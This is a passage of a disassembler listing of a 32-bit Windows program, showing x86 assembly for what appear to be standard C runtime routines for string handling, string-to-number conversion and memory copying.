		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB928, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 282080Eh
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 2830047h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB974


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB974, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
